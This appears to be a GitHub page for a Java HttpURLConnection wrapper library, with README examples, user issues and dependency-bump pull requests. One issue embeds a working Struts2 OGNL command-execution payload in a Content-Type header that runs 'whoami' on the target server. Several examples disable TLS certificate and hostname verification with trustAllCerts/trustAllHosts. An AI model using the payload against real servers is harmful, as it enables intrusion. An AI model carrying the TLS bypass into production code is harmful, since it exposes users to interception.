Java HTTP Request Library

Overview

Http Request Build Status

A simple convenience library for using a HttpURLConnection to make requests and access the response.

This library is available under the MIT License.

Usage

The http-request library is available from Maven Central.

<dependency>
  <groupId>com.github.kevinsawicki</groupId>
  <artifactId>http-request</artifactId>
  <version>6.0</version>
</dependency>

Not using Maven? Simply copy the HttpRequest class into your project, update the package declaration, and you are good to go.

Javadocs are available here.

FAQ

Who uses this?

See here for a list of known projects using this library.

Why was this written?

This library was written to make HTTP requests simple and easy when using a HttpURLConnection.

Libraries like Apache HttpComponents are great but sometimes for either simplicity, or perhaps for the environment you are deploying to (Android), you just want to use a good old-fashioned HttpURLConnection. This library seeks to add convenience and common patterns to the act of making HTTP requests such as a fluid-interface for building requests and support for features such as multipart requests.

Bottom line: The single goal of this library is to improve the usability of the HttpURLConnection class.

What are the dependencies?

None. The goal of this library is to be a single class class with some inner static classes. The test project does require Jetty in order to test requests against an actual HTTP server implementation.

How are exceptions managed?

The HttpRequest class does not throw any checked exceptions, instead all low-level exceptions are wrapped up in a HttpRequestException which extends RuntimeException. You can access the underlying exception by catching HttpRequestException and calling getCause() which will always return the original IOException.

Are requests asynchronous?

No. The underlying HttpUrlConnection object that each HttpRequest object wraps has a synchronous API and therefore all methods on HttpRequest are also synchronous.

Therefore it is important to not use an HttpRequest object on the main thread of your application.

Here is a simple Android example of using it from an AsyncTask:

private class DownloadTask extends AsyncTask<String, Long, File> {
  protected File doInBackground(String... urls) {
    try {
      HttpRequest request =  HttpRequest.get(urls[0]);
      File file = null;
      if (request.ok()) {
        file = File.createTempFile("download", ".tmp");
        request.receive(file);
        publishProgress(file.length());
      }
      return file;
    } catch (HttpRequestException exception) {
      return null;
    }
  }

  protected void onProgressUpdate(Long... progress) {
    Log.d("MyApp", "Downloaded bytes: " + progress[0]);
  }

  protected void onPostExecute(File file) {
    if (file != null)
      Log.d("MyApp", "Downloaded file to: " + file.getAbsolutePath());
    else
      Log.d("MyApp", "Download failed");
  }
}

new DownloadTask().execute("http://google.com");

Examples

Perform a GET request and get the status of the response

int response = HttpRequest.get("http://google.com").code();

Perform a GET request and get the body of the response

String response = HttpRequest.get("http://google.com").body();
System.out.println("Response was: " + response);

Print the response of a GET request to standard out

HttpRequest.get("http://google.com").receive(System.out);

Adding query parameters

HttpRequest request = HttpRequest.get("http://google.com", true, 'q', "baseball gloves", "size", 100);
System.out.println(request.toString()); // GET http://google.com?q=baseball%20gloves&size=100

Using arrays as query parameters

int[] ids = new int[] { 22, 23 };
HttpRequest request = HttpRequest.get("http://google.com", true, "id", ids);
System.out.println(request.toString()); // GET http://google.com?id[]=22&id[]=23

Working with request/response headers

String contentType = HttpRequest.get("http://google.com")
                                .accept("application/json") //Sets request header
                                .contentType(); //Gets response header
System.out.println("Response content type was " + contentType);

Perform a POST request with some data and get the status of the response

int response = HttpRequest.post("http://google.com").send("name=kevin").code();

Authenticate using Basic authentication

int response = HttpRequest.get("http://google.com").basic("username", "p4ssw0rd").code();

Perform a multipart POST request

HttpRequest request = HttpRequest.post("http://google.com");
request.part("status[body]", "Making a multipart request");
request.part("status[image]", new File("/home/kevin/Pictures/ide.png"));
if (request.ok())
  System.out.println("Status was updated");

Perform a POST request with form data

Map<String, String> data = new HashMap<String, String>();
data.put("user", "A User");
data.put("state", "CA");
if (HttpRequest.post("http://google.com").form(data).created())
  System.out.println("User was created");

Copy body of response to a file

File output = new File("/output/request.out");
HttpRequest.get("http://google.com").receive(output);

Post contents of a file

File input = new File("/input/data.txt");
int response = HttpRequest.post("http://google.com").send(input).code();

Using entity tags for caching

File latest = new File("/data/cache.json");
HttpRequest request = HttpRequest.get("http://google.com");
//Copy response to file
request.receive(latest);
//Store eTag of response
String eTag = request.eTag();
//Later on check if changes exist
boolean unchanged = HttpRequest.get("http://google.com")
                               .ifNoneMatch(eTag)
                               .notModified();

Using gzip compression

HttpRequest request = HttpRequest.get("http://google.com");
//Tell server to gzip response and automatically uncompress
request.acceptGzipEncoding().uncompress(true);
String uncompressed = request.body();
System.out.println("Uncompressed response is: " + uncompressed);

Ignoring security when using HTTPS

HttpRequest request = HttpRequest.get("https://google.com");
//Accept all certificates
request.trustAllCerts();
//Accept all hostnames
request.trustAllHosts();

Configuring an HTTP proxy

HttpRequest request = HttpRequest.get("https://google.com");
//Configure proxy
request.useProxy("localhost", 8080);
//Optional proxy basic authentication
request.proxyBasic("username", "p4ssw0rd");

Following redirects

int code = HttpRequest.get("http://google.com").followRedirects(true).code();

Custom connection factory

Looking to use this library with OkHttp? Read here.

HttpRequest.setConnectionFactory(new ConnectionFactory() {

  public HttpURLConnection create(URL url) throws IOException {
    if (!"https".equals(url.getProtocol()))
      throw new IOException("Only secure requests are allowed");
    return (HttpURLConnection) url.openConnection();
  }

  public HttpURLConnection create(URL url, Proxy proxy) throws IOException {
    if (!"https".equals(url.getProtocol()))
      throw new IOException("Only secure requests are allowed");
    return (HttpURLConnection) url.openConnection(proxy);
  }
});

Contributors

Comments
  • Add Progress Callback

    Add Progress Callback

    This is a work in progress. Implements #28.

    For now, it only works for uploading, not for downloading. I'll add the same functionality for it later, but first I'd like to have some feedback, there's a few things I'd love your input on.

    • It only works for File objects, not Strings or others.
    • copy() is not only called when uploading something, but also when getting the request body after the request using body(). This results in output like below. How would you suggest to work around this? I'm a bit reluctant to add a boolean flag to the copy() call.
    ...
    491520 out of 492672 written!
    492672 out of 492672 written! // end of file transfer
    123 out of 492672 written! // body() called
    
    • Naming and placement inside the class is ok?
    opened by aried3r 21
  • Error using the library

    Error using the library

    I get this error when I invoke the following code inside my Android app. I am using v4.2

    HttpRequest request = HttpRequest.get(RestClient.AUTH_URL);
    

    Error:

    W/dalvikvm: VFY: unable to resolve static method 4110: Lcom/github/kevinsawicki/http/HttpRequest;.get(Ljava/lang/CharSequence;)Lcom/github/kevinsawicki/http/HttpRequest;
    

    Java/SDK version info: screen shot 2013-05-19 at 2 21 51 am

    opened by kapso 11
  • Json with Post

    Json with Post

    Hy, I want to send this json : { "uid" : App.RequestManager.genUID(), "rctrls" : [ { "rctrl" : "BcpLonNetwork/RCL_PFC_207/Bureau5", "val" : { "OCC" : "OC_UNOCC" } }] }

    So i do this : request = HttpRequest.post(url).contentType("json").basic("login", "pass").send(params.toString());

    I also try with form but i can't make a map with this json object because i have an array.

    But it doesn't work plz help me :)

    opened by Kepler07 8
  • Image Upload Code sample ?

    Image Upload Code sample ?

    Hi Kevin,

    First thanks for the good work for http-requeset lib which really shorten my android development time. It is easy to use to "get" data from the server. Yet I am also trying to post image file to the server as a multipart form post. For some reason I tried to follow your sample but it didnt work.

    Here is my code:

    HttpRequest request = HttpRequest.post("http://my.upload.endpoint.com"); request.part("event_id", 1); request.part("creator_user_id", 21); //TODO change this request.part("desc", "some desc"); request.part("photo", new File(uploadImagePath));

        if (request.ok()) {
            Toast.makeText(getApplicationContext(), "Photo Uploaded.", Toast.LENGTH_LONG).show();
        } else {
            uploadPhotoFailed();
        }
    

    Am I using the lib correctly?

    Thanks in Advance.

    opened by DaFrik 8
  • How to make a GET request to server and get response code and response body separately

    How to make a GET request to server and get response code and response body separately

    Hello, I need to make a GET request to server and get response code and response body separately.

    How can I do that?

    https://stackoverflow.com/questions/25414324/get-response-code-and-response-body-ina-a-single-request-using-http-request

    opened by marceloquinta 7
  • About http param

    About http param

    Hi kevinsawicki,

    Can i get some assist from you?

    It about param for http :

    eg: Map<String, Object> params = new HashMap<String, Object>(); params.put("playlist[name]", "testNewPlaylist");
    params.put("playlist[vid][]", "123"); params.put("playlist[vid][]", "456");

    using post method, but server just received vid "123" only, vid "456" is missing. HttpRequest.post(apiUrl, params, true). trustAllCerts().trustAllHosts(). readTimeout(30000).connectTimeout(15000). header("Authorization", "Token " + "token="" + acc.token + """);

    eg2 : upload file to server , i keep get 302 or 500 http status. HttpRequest req = HttpRequest.post(testUrl).header("Authorization", "Token " + "token="" + acc.token + """); File upload = new File(Environment.getExternalStorageDirectory() + "/testupload/up.mp4"); req.part("content[name]", upload); req.part("type", "video/mp4");

    i need convert curl to this http lib, any help will be appreciate :+1:

    curl -X POST -i https://testing.com/contents.json -F "content[name]=@/home/testupload/Videos/up.mp4;type=video/mp4"

    And great thanks for this lib, make my code lesser and life easy! :+1:

    question 
    opened by davidbilly 7
  • POST form not returning a response

    POST form not returning a response

    I'm posting to a Node/Express service and expecting a 201 with response content, but the library seems to respond almost immediately. The service is hit and performs the action, but debugging seems to show a response code of -1. I'm assuming my lack of knowledge of the framework is to blame, as I took a piece of code from the below StackOverflow post and was able to get both my 201 and response content back. Here's the code I'm using to post the response:

    HttpRequest request = HttpRequest.post(url);
    HashMap<String, String> data = new HashMap<String, String>();
    data.put("email", _user.username);
    data.put("imageurl", _user.imageUrl);
    
    if (request.form(data).created()) {
        return null;
    }
    

    Stack Overflow post: http://stackoverflow.com/questions/4945321/not-getting-the-response-body-for-http-post-request-in-android

    opened by ghost 7
  • About Upload Progress callback

    About Upload Progress callback

    Hi @kevinsawicki ,

    May i ask something about Upload Progress?

    It seem update the progress with quick, but after 100% i need to wait about 20 sec for 7mb file.

    How it work? is that like this : 100 kb of 7000 kb > send to server > update upload progress > 200kb of 7000kb send to server > update upload progress and more... > close http

    or

    read local file till 100% then send to server > close http? current upload progress seem like this.

    or it depends on server setting?

    Any way i can cancel the upload http? i use req.disconnect(); seems no work, it still send to the server and return http 201.

    Hope you can assist on this, thanks for great library agian :+1:

    question 
    opened by davidbilly 6
  • Headers in HttpRequest

    Headers in HttpRequest

    I want to add headers to HttpRequest, i've tried to use header and parameter method but it did not worked for me, can you show some examples of usage?

    opened by aliilyas 6
  • Not Modified HTTP Response with Content-Encoding Header causes EOFException

    Not Modified HTTP Response with Content-Encoding Header causes EOFException

    I'm seeing an issue when the library is reading a response using the .code() method when the response is Not Modified (304) but includes the 'Content-Encoding: gzip' response header.

    Stack looks like this:

    W/System.err( 9061): Caused by: com.github.kevinsawicki.http.HttpRequest$HttpRequestException: java.io.EOFException W/System.err( 9061): at com.github.kevinsawicki.http.HttpRequest.code(HttpRequest.java:1392) W/System.err( 9061): at com.github.kevinsawicki.etag.CacheRequest.stream(CacheRequest.java:170) W/System.err( 9061): at com.doapps.android.common.rcs.ResourceManager$ResourceRequestCallable.call(ResourceManager.java:98) W/System.err( 9061): at com.doapps.android.common.rcs.ResourceManager$ResourceRequestCallable.call(ResourceManager.java:80) W/System.err( 9061): at java.util.concurrent.FutureTask.run(FutureTask.java:234) W/System.err( 9061): at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1080) W/System.err( 9061): at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:573) W/System.err( 9061): at java.lang.Thread.run(Thread.java:856) W/System.err( 9061): Caused by: java.io.EOFException W/System.err( 9061): at java.util.zip.GZIPInputStream.readFully(GZIPInputStream.java:206) W/System.err( 9061): at java.util.zip.GZIPInputStream.(GZIPInputStream.java:98) W/System.err( 9061): at java.util.zip.GZIPInputStream.(GZIPInputStream.java:81) W/System.err( 9061): at libcore.net.http.HttpEngine.initContentStream(HttpEngine.java:541) W/System.err( 9061): at libcore.net.http.HttpEngine.readResponse(HttpEngine.java:844) W/System.err( 9061): at libcore.net.http.HttpURLConnectionImpl.getResponse(HttpURLConnectionImpl.java:283) W/System.err( 9061): at libcore.net.http.HttpURLConnectionImpl.getResponseCode(HttpURLConnectionImpl.java:495) W/System.err( 9061): at com.github.kevinsawicki.http.HttpRequest.code(HttpRequest.java:1390) W/System.err( 9061): ... 7 more

    It looks like the call to stream() is causing code() to be invoked and that getResponseCode() which, for some reason I don't really understand, attempts to decode the body of the 304 response with a gzip stream.

    Looking at this, it looks like a bug in libcore.net.http but I'm not sure and was looking for a second opinion. I'm not sure how we'd know the connection was 304 without calling getResponseCode, nor why getResponseCode would end up trying to decode the responses body. I'm not even sure how to work-around this, but this is the ETag implementation in amazon's S3 so it seems like its going to be a common issue.

    Example Response Headers

    < HTTP/1.1 304 Not Modified < x-amz-id-2: CB8VnZUX/AZnDbCpDoDtqigG+oJmNwA/mHxNuwNMZrrLmdbgKTfVH5o8kTDlwXLN < x-amz-request-id: 575E9965093D180B < Date: Tue, 06 Aug 2013 00:19:23 GMT < Content-Encoding: gzip < Last-Modified: Thu, 20 Jun 2013 15:48:01 GMT < ETag: "49f4ddac92a3575c927cee634266701a" < Server: AmazonS3

    opened by campnic 6
  • Ignore HTTPS security for all the instances

    Ignore HTTPS security for all the instances

    Sometimes I use a proxy to check if I'm passing the right data to a HTTPS API, so I have to use this code:

    HttpRequest request = HttpRequest.get("https://google.com");
    //Accept all certificates
    request.trustAllCerts();
    //Accept all hostnames
    request.trustAllHosts();
    

    to make the connection work with the proxy.

    Is there a way to make this persistent?

    Like so:

    if (DEBUG) {
        HttpRequest.trustAllCertsGlobally();
        HttpRequest.trustAllHostsGlobally();
    }
    
    opened by patrick91 5
  • CVE-2019-1010206

    CVE-2019-1010206

    Hi @kevinsawicki ,

    There is a new CVE in NIST database for kevinsawicki: http-request version 6.0

    CVE-2019-1010206

    Can you please provide your input if it really exists or false positive?

    opened by Subrhamanya 1
  • Bump jetty-server from 8.1.9.v20130131 to 10.0.10 in /lib

    Bump jetty-server from 8.1.9.v20130131 to 10.0.10 in /lib

    Bumps jetty-server from 8.1.9.v20130131 to 10.0.10.

    Release notes

    Sourced from jetty-server's releases.

    10.0.10

    Special Thanks to the following Eclipse Jetty community members

    Changelog

    • #8136 - Cherry-pick of Improvements to PathSpec for Jetty 10.0.x
    • #8134 - Improve cleanup of deflater/inflater pools for PerMessageDeflateExtension
    • #8088 - Add option to configure exitVm on ShutdownMonitor from System properties
    • #8067 - Wall time usage in DoSFilter RateTracker results in false positive alert
    • #8057 - Support Http Response 103 (Early Hints)
    • #8014 - Review HttpRequest URI construction
    • #8008 - Add compliance mode for LEGACY multipart parser in Jetty 10+
    • #7994 - Ability to construct a detached client Request
    • #7981 - Add TRANSFER_ENCODING violation for MultiPart RFC7578 parser. (#7976)
    • #7977 - UpgradeHttpServletRequest.setAttribute & UpgradeHttpServletRequest.removeAttribute can throw NullPointerException
    • #7975 - ForwardedRequestCustomizer setters do not clear existing handlers
    • #7953 - Fix StatisticsHandler in the case a Handler throws exception.
    • #7935 - Review HTTP/2 error handling
    • #7929 - Correct requestlog formatString commented default (@​prenagha)
    • #7924 - Fix a typo in Javadoc (@​jianglai)
    • #7918 - PathMappings.asPathSpec does not allow root ServletPathSpec
    • #7891 - Better Servlet PathMappings for Regex
    • #7880 - DefaultServlet should not overwrite programmatically configured precompressed formats with defaults (@​markslater)
    • #7863 - Default servlet drops first accept-encoding header if there is more than one. (@​markslater)
    • #7858 - GZipHandler does not play nice with other handlers in HandlerCollection
    • #7818 - Modifying of HTTP headers in HttpChannel.Listener#onResponseBegin is no longer possible with Jetty 10
    • #7808 - Jetty 10.0.x 7801 duplicate set session cookie
    • #7802 - HTTP/3 QPACK - do not expect section ack for zero required insert count
    • #7754 - jetty.sh ignores JAVA_OPTIONS environment variable
    • #7748 - Allow overriding of url-pattern mapping in ServletContextHandler to allow for regex or uri-template matching
    • #7635 - QPACK decoder should fail connection if the encoder blocks more than SETTINGS_QPACK_BLOCKED_STREAMS
    • #4414 - GZipHandler not excluding inflation for specified paths
    • #1771 - Add module for SecuredRedirect support

    Dependencies

    • #8083 - Bump asciidoctorj to 2.5.4
    • #8077 - Bump asciidoctorj-diagram to 2.2.3
    • #7839 - Bump asm.version to 9.3
    • #8142 - Bump biz.aQute.bndlib to 6.3.1
    • #8075 - Bump checkstyle to 10.3
    • #8056 - Bump error_prone_annotations to 2.14.0
    • #8109 - Bump google-cloud-datastore to 2.7.0
    • #8100 - Bump grpc-core to 1.47.0
    • #7987 - Bump hawtio-default to 2.15.0

    ... (truncated)

    Commits
    • de73e94 Updating to version 10.0.10
    • 1b4f941 RegexPathSpec documentation and MatchedPath improvements (#8163)
    • 1f902f6 Disable H3 tests by default with a system property to explicitly enable them ...
    • 7cc461b Fixing javadoc build errors (#8173)
    • d63569d Migrate code from jetty-util Logger to slf4j Logger (#8162)
    • 66de7ba Improve ssl buffers handling (#8165)
    • 0699bc5 Use static exceptions for closing websocket flushers and in ContentProducer (...
    • b1c19c0 Merge pull request #8134 from eclipse/jetty-10.0.x-websocketPermessageDeflate...
    • 23948f1 no more profile IT tests runs per default (#8138)
    • 0d13cbe change-dependabot-interval-to-monthly (#8140)
    • Additional commits viewable in compare view

    Dependabot compatibility score

    Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


    Dependabot commands and options

    You can trigger Dependabot actions by commenting on this PR:

    • @dependabot rebase will rebase this PR
    • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
    • @dependabot merge will merge this PR after your CI passes on it
    • @dependabot squash and merge will squash and merge this PR after your CI passes on it
    • @dependabot cancel merge will cancel a previously requested merge and block automerging
    • @dependabot reopen will reopen this PR if it is closed
    • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
    • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    • @dependabot use these labels will set the current labels as the default for future PRs for this repo and language
    • @dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language
    • @dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language
    • @dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

    You can disable automated security fix PRs for this repo from the Security Alerts page.

    dependencies 
    opened by dependabot[bot] 0
  • hope to support HTTP2.0

    hope to support HTTP2.0

    when response use HTTP/2.0 or HTTP/2, can't get body\code correctly. It seems that the JDK don't support HTTP2. I have try same code with JDK8 and JDK16, both show errors. Can you help? Thanks!

    HTTP/2 201 Created Server: SGW Date: Mon, 19 Jul 2021 11:54:24 GMT Content-Type: application/json Content-Length: 154 Allow: GET, POST, HEAD, OPTIONS X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Vary: Cookie

    Exception in thread "main" com.github.kevinsawicki.http.HttpRequest$HttpRequestException: java.io.IOException: Invalid Http response at com.github.kevinsawicki.http.HttpRequest.stream(HttpRequest.java:1859) at com.github.kevinsawicki.http.HttpRequest.buffer(HttpRequest.java:1844) at com.github.kevinsawicki.http.HttpRequest.body(HttpRequest.java:1764) at toElastic.VMP.upload(VMP.java:60) at toElastic.VMP.isApiOk(VMP.java:72) at toElastic.VMP.main(VMP.java:80) Caused by: java.io.IOException: Invalid Http response at java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at java.base/jdk.internal.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:78) at java.base/jdk.internal.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) at java.base/java.lang.reflect.Constructor.newInstanceWithCaller(Constructor.java:499) at java.base/java.lang.reflect.Constructor.newInstance(Constructor.java:480) at java.base/sun.net.www.protocol.http.HttpURLConnection$10.run(HttpURLConnection.java:2035) at java.base/sun.net.www.protocol.http.HttpURLConnection$10.run(HttpURLConnection.java:2030) at java.base/java.security.AccessController.doPrivileged(AccessController.java:554) at java.base/sun.net.www.protocol.http.HttpURLConnection.getChainedException(HttpURLConnection.java:2029) at java.base/sun.net.www.protocol.http.HttpURLConnection.getInputStream0(HttpURLConnection.java:1597) at java.base/sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1577) at java.base/sun.net.www.protocol.https.HttpsURLConnectionImpl.getInputStream(HttpsURLConnectionImpl.java:224) at com.github.kevinsawicki.http.HttpRequest.stream(HttpRequest.java:1857) ... 5 more Caused by: java.io.IOException: Invalid Http response at java.base/sun.net.www.protocol.http.HttpURLConnection.getInputStream0(HttpURLConnection.java:1695) at java.base/sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1577) at java.base/sun.net.www.protocol.http.HttpURLConnection.getHeaderField(HttpURLConnection.java:3206) at java.base/java.net.URLConnection.getHeaderFieldInt(URLConnection.java:613) at java.base/sun.net.www.protocol.https.HttpsURLConnectionImpl.getHeaderFieldInt(HttpsURLConnectionImpl.java:396) at com.github.kevinsawicki.http.HttpRequest.intHeader(HttpRequest.java:2180) at com.github.kevinsawicki.http.HttpRequest.intHeader(HttpRequest.java:2164) at com.github.kevinsawicki.http.HttpRequest.contentLength(HttpRequest.java:2560) at com.github.kevinsawicki.http.HttpRequest.byteStream(HttpRequest.java:1744) at com.github.kevinsawicki.http.HttpRequest.body(HttpRequest.java:1762) ... 3 more

    opened by bit4woo 0
  • Bump jetty-servlets from 8.1.9.v20130131 to 9.4.41.v20210516 in /lib

    Bump jetty-servlets from 8.1.9.v20130131 to 9.4.41.v20210516 in /lib

    Bumps jetty-servlets from 8.1.9.v20130131 to 9.4.41.v20210516.

    Release notes

    Sourced from jetty-servlets's releases.

    9.4.41.v20210516

    Changelog

    • This release resolves CVE-2021-28169
    • #6099 Cipher preference may break SNI if certificates have different key types
    • #6186 Add Null Protection on Log / Logger
    • #6205 OpenIdAuthenticator may use incorrect redirect
    • #6208 HTTP/2 max local stream count exceeded
    • #6227 Better resolve race between AsyncListener.onTimeout and AsyncContext.dispatch
    • #6254 Total timeout not enforced for queued requests
    • #6263 Review URI encoding in ConcatServlet & WelcomeFilter
    • #6277 Better handle exceptions thrown from session destroy listener
    • #6280 Copy ServletHolder class/instance properly during startWebapp

    9.4.40.v20210413

    Notable Bug Fixes

    Users of GzipHandler should upgrade. (#6168) Users of SSL/TLS on the jetty-server or jetty-client should upgrade. (#6082)

    Changelog

    • #6168 - Improve handling of unconsumed content
    • #6148 - Jetty start.jar always reports jetty.tag.version as master
    • #6105 - HttpConnection.getBytesIn() incorrect for requests with chunked content
    • #6082 - SslConnection compacting

    9.4.39.v20210325

    Changelog

    :warning: Important Security related Changes

    Other Changes

    • #6034 - SslContextFactory may select a wildcard certificate during SNI selection when a more specific SSL certificate is present
    • #6050 - Websocket: NotUtf8Exception after upgrade 9.4.35 -> 9.4.36 or newer
    • #6052 - Cleanup TypeUtil and ModuleLocation to allow jetty-client/hybrid to work on Android
    • #6063 - Allow override of hazelcast version when using module
    • #6085 - Jetty keeps Sessions in use after "Duplicate valid session cookies" Message

    9.4.38.v20210224

    Changelog

    • #6001 - Ambiguous URI legacy compliance mode

    ... (truncated)

    Commits
    • 98607f9 Updating to version 9.4.41.v20210516
    • 087f486 Issue #6277 Better handling of exceptions thrown in sessionDestroyed (#6278) ...
    • edcaf70 Copy ServletHolder class/instance properly during startWebapp (#6214)
    • 1c05b0b Fixes #6263 - Review URI encoding in ConcatServlet & WelcomeFilter.
    • 9cb9343 Issue #6205 - Fix serialization issues in OpenIdAuthenticator
    • 2e7f5eb Issue #6205 - Fix issues with OpenID redirecting to wrong URI (#6211)
    • 88ac104 Issue #6254 - Total timeout not enforced for queued requests.
    • da50e06 Fixes #6254 - Total timeout not enforced for queued requests.
    • 5f23689 Issue #6254 - Total timeout not enforced for queued requests.
    • 003c313 upgrade h2spec-maven-plugin 1.0.5 (#6247)
    • Additional commits viewable in compare view

    Dependabot compatibility score

    Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.


    Dependabot commands and options

    You can trigger Dependabot actions by commenting on this PR:

    • @dependabot rebase will rebase this PR
    • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
    • @dependabot merge will merge this PR after your CI passes on it
    • @dependabot squash and merge will squash and merge this PR after your CI passes on it
    • @dependabot cancel merge will cancel a previously requested merge and block automerging
    • @dependabot reopen will reopen this PR if it is closed
    • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
    • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
    • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    • @dependabot use these labels will set the current labels as the default for future PRs for this repo and language
    • @dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language
    • @dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language
    • @dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

    You can disable automated security fix PRs for this repo from the Security Alerts page.

    dependencies 
    opened by dependabot[bot] 0
  • java.io.IOException: Premature EOF

    java.io.IOException: Premature EOF

    Request

    HttpRequest.post("http://127.0.0.1:8080").header("Content-Type","%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}").body();
    

    Response Exception:

    Exception in thread "main" com.github.kevinsawicki.http.HttpRequest$HttpRequestException: java.io.IOException: Premature EOF
    	at com.github.kevinsawicki.http.HttpRequest$Operation.call(HttpRequest.java:717)
    	at com.github.kevinsawicki.http.HttpRequest.copy(HttpRequest.java:2626)
    	at com.github.kevinsawicki.http.HttpRequest.body(HttpRequest.java:1764)
    	at com.github.kevinsawicki.http.HttpRequest.body(HttpRequest.java:1779)
    	at com.aresx.javakiller.core.cmd.PayloadTest.main(PayloadTest.java:29)
    Caused by: java.io.IOException: Premature EOF
    	at sun.net.www.http.ChunkedInputStream.readAheadBlocking(ChunkedInputStream.java:565)
    	at sun.net.www.http.ChunkedInputStream.readAhead(ChunkedInputStream.java:609)
    	at sun.net.www.http.ChunkedInputStream.read(ChunkedInputStream.java:696)
    	at java.io.FilterInputStream.read(FilterInputStream.java:133)
    	at sun.net.www.protocol.http.HttpURLConnection$HttpInputStream.read(HttpURLConnection.java:3444)
    	at java.io.BufferedInputStream.read1(BufferedInputStream.java:284)
    	at java.io.BufferedInputStream.read(BufferedInputStream.java:345)
    	at java.io.FilterInputStream.read(FilterInputStream.java:107)
    	at com.github.kevinsawicki.http.HttpRequest$8.run(HttpRequest.java:2619)
    	at com.github.kevinsawicki.http.HttpRequest$8.run(HttpRequest.java:2613)
    	at com.github.kevinsawicki.http.HttpRequest$Operation.call(HttpRequest.java:711)
    	... 4 more
    

    how to solve that?

    opened by Ares-X 0
http-kit is a minimalist, event-driven, high-performance Clojure HTTP server/client library with WebSocket and asynchronous support

HTTP Kit A simple, high-performance event-driven HTTP client+server for Clojure CHANGELOG | API | current Break Version: [http-kit "2.5.3"] ; Publish

HTTP Client/Server for Clojure 2.3k Dec 31, 2022
A high-level and lightweight HTTP client framework for Java. it makes sending HTTP requests in Java easier.

A high-level and lightweight HTTP client framework for Java. it makes sending HTTP requests in Java easier.

dromara 1.2k Jan 8, 2023
Asynchronous Http and WebSocket Client library for Java

Async Http Client Follow @AsyncHttpClient on Twitter. The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and a

AsyncHttpClient 6k Jan 8, 2023
Google HTTP Client Library for Java

Google HTTP Client Library for Java Description Written by Google, the Google HTTP Client Library for Java is a flexible, efficient, and powerful Java

Google APIs 1.3k Jan 4, 2023
Unirest in Java: Simplified, lightweight HTTP client library.

Unirest for Java Install With Maven: <!-- Pull in as a traditional dependency --> <dependency> <groupId>com.konghq</groupId> <artifactId>unire

Kong 2.4k Jan 5, 2023
Unirest in Java: Simplified, lightweight HTTP client library.

Unirest for Java Install With Maven: <!-- Pull in as a traditional dependency --> <dependency> <groupId>com.konghq</groupId> <artifactId>unire

Kong 2.4k Jan 5, 2023
Feign makes writing java http clients easier

Feign makes writing java http clients easier Feign is a Java to HTTP client binder inspired by Retrofit, JAXRS-2.0, and WebSocket. Feign's first goal

null 8.5k Dec 30, 2022
⚗️ Lightweight HTTP extensions for Java 11

Methanol A lightweight library that complements java.net.http for a better HTTP experience. Overview Methanol provides useful lightweight HTTP extensi

Moataz Abdelnasser 175 Dec 17, 2022
Tiny, easily embeddable HTTP server in Java.

NanoHTTPD – a tiny web server in Java NanoHTTPD is a light-weight HTTP server designed for embedding in other applications, released under a Modified

NanoHttpd 6.5k Jan 5, 2023
A Java event based WebSocket and HTTP server

Webbit - A Java event based WebSocket and HTTP server Getting it Prebuilt JARs are available from the central Maven repository or the Sonatype Maven r

null 808 Jan 3, 2023
Feign makes writing java http clients easier

Feign makes writing java http clients easier Feign is a Java to HTTP client binder inspired by Retrofit, JAXRS-2.0, and WebSocket. Feign's first goal

null 8.5k Jan 1, 2023
Square’s meticulous HTTP client for the JVM, Android, and GraalVM.

OkHttp See the project website for documentation and APIs. HTTP is the way modern applications network. It’s how we exchange data & media. Doing HTTP

Square 43.4k Jan 5, 2023
Share the chat messages across Minecraft Servers via HTTP backend powered by Spring Boot, this is the backend part of the project.

InterconnectedChat-Backend Share the chat messages across Minecraft Servers via HTTP backend powered by Spring Boot, this is the backend part of the p

